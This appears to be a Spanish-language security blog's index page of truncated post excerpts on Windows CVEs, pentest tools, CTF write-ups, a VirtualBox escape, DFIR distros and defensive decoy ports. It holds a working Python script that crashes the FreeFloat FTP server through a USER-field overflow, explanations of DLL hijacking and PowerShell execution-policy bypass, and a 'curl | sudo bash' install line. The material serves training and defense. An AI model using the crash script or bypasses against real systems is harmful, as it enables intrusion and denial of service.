CVE-2018-8589 o una condición de carrera que permite escalar privilegios en Windows

En octubre de 2018, los sistemas de Prevención de Explotación Automática (AEP) de Kaspersky detectaron un intento de explotar una vulnerabilidad en Windows que un análisis posterior confirmó como un nuevo 0-day que afectaba específicamente a win32k.sys. El exploit fue ejecutado por el primer stage de un instalador de malware para obtener los privilegios necesarios para la persistencia en el sistema de la víctima y fue detectado en varios ataques dirigidos en países del Este.

La vulnerabilidad, corregida por Microsoft el pasado martes, fue bautizada como CVE-2018-8589 y permite a un atacante elevar privilegios en un Windows 7 o Windows Server 2008. Se trata de una condición de carrera presente en win32k!XxxMoveWindow debido a un bloqueo incorrecto de los mensajes enviados de forma sincrónica entre threads.

El exploit crea dos threads, uno para una clase y otro para una ventana asociada. Luego mueve la ventana del thread opuesto dentro de la devolución de llamada de un mensaje WM_NCCALCSIZE en un procedimiento de ventana que es común a ambos.

Mensaje WM_NCCALCSIZE en win32k!XxxCalcValidRects

Arjun: herramienta para el descubrimiento de parámetros web

Arjun es una herramienta para python 3.4 o superior que nos ayudará en el descubrimiento de parámetros web. Sus características principales son:
  • Multihilo
  • 3 modos de detección
  • Escaneo heuristico regex
  • Enorme lista de nombres de parámetros (3370) de @SecLists

Descubrimiento de parametros

Para encontrar parámetros GET, puedes simplemente hacer:

python3 arjun.py -u https://api.example.com/endpoint --get

Del mismo modo, usa --post para encontrar parámetros POST.

Multihilo

Arjun usa 2 hilos de forma predeterminada, pero se puede ajustar su rendimiento de acuerdo con la conexión de red.

python3 arjun.py -u https://api.example.com/endpoint --get -t 22

Delay entre peticiones

Se puede ajustar el delay de las peticiones utilizando la opción -d de la siguiente forma:

python3 arjun.py -u https://api.example.com/endpoint --get -d 2

Añadiendo encabezados HTTP

Al usar el parámetro --headers se abrirá un prompt interactivo donde se pueden pegar encabezados HTTP. Ctrl + S para guardar y Ctrl + X para procesar.


Nota: Arjun usa nano como editor predeterminado para el prompt, pero se puede cambiar en /core/prompt.py.

Github: https://github.com/s0md3v/Arjun

[HTB Write-up] Reel

Volvemos con una nueva entrega de write-ups de HTB, en este caso Reel, una máquina Windows con mucha sabrosura y que nos enseñará bastante tela acerca de DA, Powershell y de cómo aprovechar privilegios heredados. ¡Vamos allá!
 
Scanning

Como siempre, empezamos con un SYN scan para descubrir puertos abiertos de la forma más rápida y sigilosa posible. Tras esto, podemos comprobar las versiones y ejecutar scripts NSE seguros.

-sS

Publican un 0-day en VirtualBox que permite escaparse de la máquina virtual y ejecutar código en el host

El investigador ruso Sergey Zelenyuk ha publicado información detallada de un zero-day en VirtualBox 5.2.20 y versiones anteriores que puede permitir a un atacante escapar literalmente de un máquina virtual y ejecutar código en ring 3 en el host. Luego se pueden usar las tradicionales técnicas para escalar privilegios a ring 0 vía /dev/vboxdrv.

Sergey, en total desacuerdo con la respuesta de Oracle en su programa de bug bounty y con el "mercadeo" actual de vulnerabilidades, ha publicado también un video con la PoC que muestra el 0-day en acción contra una máquina virtual de Ubuntu que se ejecuta dentro de VirtualBox en un sistema operativo host también de Ubuntu.


VirtualBox E1000 Guest-to-Host Escape from Sergey Zelenyuk on Vimeo.

La vulnerabilidad es un buffer overflow que se provoca en el proceso de escritura de los descriptores Tx a la tarjeta de red. El único requisito es tener configurado la VM con el adaptador de red Intel PRO/1000 MT Desktop (82540EM) en modo NAT, que es la configuración por defecto que trae VirtualBox. Cualquier SO en la máquina virtual y en el host son vulnerables.

Tenéis el detalle técnico explicado perfectamente en su repositorio de Github:

https://github.com/MorteNoir1/virtualbox_e1000_0day/

Anuncian el CTF 2018 Metasploit Community

La gente de Rapid7 ha anunciado hoy su "Metasploit Community CTF" en el que se pondrán en liza dos objetivos que mil equipos intentarán comprometer durante los tres días que dura la competición.

La inscripción se abre el lunes 12 de noviembre a las 12.00 AM EST (a las 6:00 GMT+1 si no me equivoco) y, como comentamos, hay disponibles hasta 1000 registros; tanto personas individuales como equipos. Si optáis por este último caso tened en cuenta que los equipos solo necesitan registrar UNA única cuenta. Los miembros del equipo pueden y deben compartir las credenciales.

El CTF empezará el viernes 30 de noviembre a las 11:59 AM EST (a las 5:59 GMT+1) hasta el lunes 3 de diciembre a la misma hora.

Cuando comience el juego, los jugadores deben usar las instrucciones disponibles en el Panel de control para conectarse a un equipo de salto con Kali Linux. Desde allí, los jugadores pueden atacar los entornos vulnerables para encontrar las flags. Todas las flags son imágenes PNG, cuando se encuentre una, los jugadores deben enviar el hash MD5 al dashboard. Si el hash MD5 es correcto, se otorgarán puntos. Podéis ver los resultados y las estadísticas del CTF del año pasado aquí.

Los tres participantes con la puntuación total más alta al final recibirán los siguientes premios. En caso de empate, el participante que haya alcanzado ese puntaje primero será el ganador.

PosiciónPremioValor (no reembolsable)
1stHak5 Essentials Field Kit$220 USD
2ndHak5 Network Implant Bundle$150 USD
3rdHak5 WiFi Pineapple (NANO Tactical)$130 USD

Para formar equipos y hablar con otros jugadores podéis uniros al canal #ctf-support-2018 en Metasploit Slack. Tenéis el anuncio del CTF y más información en la página oficial:

https://blog.rapid7.com/2018/11/05/announcing-the-2018-metasploit-community-ctf/

Tsurugi Linux, nueva distro de DFIR

Tsurugi es una nueva distribución Linux bajo licencia GNU diseñada para soportar investigaciones de DFIR, análisis de malware y actividades de inteligencia.
 

En esta distribución se incluyen las últimas versiones de las herramientas más famosas que se necesitan para llevar a cabo una investigación forense o de respuesta a incidentes en profundidad y varias características útiles como el bloqueo de escritura de dispositivos a nivel del kernel, un selector de perfiles OSINT y mucho más.

El sistema se basa en un Ubuntu LTS de 64 bits (Long Time Support) y usan la versión 16.04 para tener un sistema estable con más herramientas compatibles, aunque tienen en su hoja de ruta una actualización a la versión 18.04 LTS para el próximo año. También tienen un repositorio dedicado.

El kernel parcheado se basa en la versión 4.18.5 reciente que implementa muchos controladores y características nuevos. Se puede usar Tsurugi Linux [LAB] en modo live-cd, pero su objetivo principal es instalarse y convertirse en su laboratorio forense

Web: https://tsurugi-linux.org/

DOWNLOAD MIRROR

LAST RELEASES INFORMATION

Tsurugi Linux [64-bit]
Filename: tsurugi_lab_2018.1.iso
sha1: b54895db6fba93239b668edb9f5ef02bef975b40

Tsurugi Acquire [32-bit]
Filename: tsurugi_acquire_2018.1.iso
sha1: f16ad3bc9669efcb22a9859a09598ca12c060d78

Bento portable toolkit
Filename: pronto disponible
sha1: pronto disponible

Robber: una herramienta para buscar ejecutables susceptibles a DLL hijacking

Robber es una herramienta de código abierto desarrollada en Delphi XE2 sin dependencias de terceros que permite buscar los ejecutables del sistema susceptibles a DLL hijacking o secuestro de DLL, una vulnerabilidad ya bastante antigua pero que todavía sigue activa en nuestros días.


Como va vimos en el blog:

"Cuando una aplicación mediante LoadLibrary() o LoadLibraryEx() intenta cargar funciones adicionales enlazando en tiempo real con una librería dinámica y no se especifica su ruta completa, Windows define como primer orden de búsqueda de la DLL el directorio actual del proceso: http://msdn.microsoft.com/en-us/library/ms682586%28v=VS.85%29.aspx.

Si un usuario abre un fichero legítimo mediante una aplicación afectada y en el mismo directorio se encuentra una DLL maliciosa (renombrada como la original), un atacante podría conseguir la ejecución de código arbitrario a través de la carga de esa librería modificada.
"

Si la DLL no se encuentra en el directorio de trabajo de la aplicación o "." (opción A o prioridad más alta, primera comprobación) las rutas de búsqueda siguientes son:

B) \Windows
C) \Windows\system32
D) \Windows\syswow64
  <- prioridad más baja, última comprobación
 
Por ejemplo, si algunos ejecutables "Foo.exe" solicitan "bar.dll" que está el directorio syswow64 (D) esto nos dará una buena oportunidad para colocar una versión maliciosa en A), B) o C) y se cargará en el ejecutable. Incluso una ruta completa absoluta no puede proteger contra esto si se puede reemplazar la DLL con una versión modificada.

PowerShell is dead...? Not today my friend!

Hoy vamos a hablar de POWERSHELL, y digo vamos porque todas estas pruebas las he hecho con mi buen compañero pwner @Wint3r.

Últimamente se está escuchando mucho la palabra C# (o Csharp) y se habla de cómo el uso ofensivo de PowerShell está muriendo poco a poco. ¿La razón? Microsoft está poniendo mucho énfasis en detectar el uso malicioso de su lenguaje. A continuación vamos a ver cómo.

SEGURIDAD EN POWERSHELL

Posiblemente en algún momento nos hayamos encontrado con mensajes como los siguientes a la hora de pwnear:




Debemos tener mas o menos claro lo que significa cada uno de ellos:

Execution Policies

Las políticas de ejecución determinan cómo va a funcionar PowerShell en lo referente a cargar ficheros de configuración o correr scripts. Este tipo de políticas se pueden establecer para un usuario, una sesión, una máquina... o inclusive crear una política de grupo para organizar una serie de máquinas y usuarios.
Dentro de las políticas de ejecución nos interesan principalmente dos: Restricted y Bypass (como imaginaremos, vamos a buscar tener la política Bypass y evitar la Restricted)

Más info: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-6
  • Get-ExecutionPolicy # Ver la política de nuestra sesión actual
  • Set-ExecutionPolicy -ExecutionPolicy <PolicyName> # Establecer política (requiere Admin)
>> Normalmente no vamos a tener problema para cambiar la política de ejecución, ya que no es una "medida de seguridad" como tal. Si bien Set-ExecutionPolicy necesita admin, podemos solucionar este problema creando una nueva sesión con nuestra política en Bypass:


Taller de exploiting: BoF básico en Windows - FreeFloat FTP Server

El año pasado más o menos por estas fechas empezamos a publicar una serie de entradas para iniciarse en el mundo del exploiting en Windows con un desbordamiento de búfer sencillo pero a la par muy útil para entender el funcionamiento de la pila y usar un debugger como Immunity. Hoy no vamos a detallar tanto los pasos como en los posts anteriores pero si vamos a repetir este tipo de ejercicio, sobretodo para todos aquellos que se están preparando para el OSCP ya que normalmente se toparán en el examen con algo similar.

La aplicación que explotaremos hoy será un viejo server FTP llamado Freefloat FTP Server, vulnerable a un desbordamiento en la entrada de datos de USER. Tenéis el exploit público en EDB:

Freefloat FTP Server - 'USER' Remote Buffer Overflow

https://www.exploit-db.com/exploits/23243/


Para este ejercicio lo haremos lo más esquemático posible:

- Reproduciendo el problema
- Controlando el EIP
- Espacio para el shellcode
- Eliminando badchars
- Redireccionando la ejecución (JMP ESP)
- Generando el shellcode

Reproduciendo el problema

Lo primero como siempre será “inundar” el parámetro vulnerable para comprobar que, efectivamente, el servidor “peta” al pasarle un montón de A's:
import sys, socket
from time import sleep

target = sys.argv[1]

buff = '\x41'*50

while True:
  try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(2)
    s.connect((target,21))
    s.recv(1024)
    print "Sending buffer with length: "+str(len(buff))
    s.send("USER "+buff+"\r\n")
    s.close()
    sleep(1)
    buff = buff + '\x41'*50

  except:
    print "[+] Crash occured with buffer length: "+str(len(buff)-50)
    sys.exit()

El resultado será el "crash" de la aplicación casi inmediato:

portforge.cr o cómo abrir numerosos puertos "falsos" en nuestro servidor

¿Eres un "azulón" y quieres tocar los... la moral al pobre pentester que intenta enumerar los servicios de tu servidor para comprometerlo?
Con portforge.cr podrás abrir tantos sockets como quieras de forma que cuando alguien escanee tu servidor verá un montón de puertos abiertos, haciendo tedioso encontrar aquellos que realmente son válidos.
Digamos que es un pequeño paso para vencer o dificultar el reconocimiento.

Portforge es realmente un script escrito en Crystal (un lenguaje de programación muy parecido a Ruby) y utiliza una técnica incorporada en su compilador llamado Fibers. Se parecen mucho a los hilos del sistema, pero Fibers es mucho más ligero y la ejecución se gestiona a través del proceso 1.

portforge.cr puede abrir tantos puertos como quieras entre 1024 y 65535. También funciona por debajo de 1024, pero para eso tienes que ser un usuario root. Cuanto mayor sea el rango que elijas, más tardará el script en cargar cada socket, pero la herramienta está bastante optimizada y solo debería tomar un par de minutos (según el sistema, por supuesto).

El script funciona en 2 pasos: primero realiza su propio escaneo en el sistema para ver qué puertos ya están abiertos y los puertos abiertos se colocan en una lista y los puertos cerrados en otra. El siguiente paso es abrir los puertos cerrados, por lo que el script selecciona la lista con todos los puertos cerrados y abre un socket en cada uno de ellos.

Mientras que la denominada "fibra" principal está abriendo un socket en cada puerto, se llama a otra "fibra" por debajo del principal que escucha las conexiones entrantes y las cierra directamente. Este proceso se repite indefinidamente, o hasta que interrumpa el script.

Instalación y uso

Crystal:

$ curl -sSL https://dist.crystal-lang.org/apt/setup.sh | sudo bash
$ sudo apt install crystal

Opcional:
sudo apt install libssl-dev      # for using OpenSSL
sudo apt install libxml2-dev     # for using XML
sudo apt install libyaml-dev     # for using YAML
sudo apt install libgmp-dev      # for using Big numbers
sudo apt install libreadline-dev # for using Readline

$ git clone https://github.com/Beyarz/portforge.cr.git

$ cd portforge.cr

$ crystal portforge.cr
[-] Argument: /home/vmotos/.cache/crystal/crystal-run-portforge.tmp host start end
[-] Example:  /home/vmotos/.cache/crystal/crystal-run-portforge.tmp localhost 4440 4445

$ crystal portforge.cr localhost 5430 5450
[!] Scan started.
[+] 99.63% done.
[!] Scan finished.
[+] Forging started.
[+] The ports should be open now.
[!] To end this proccess you have to interrupt it.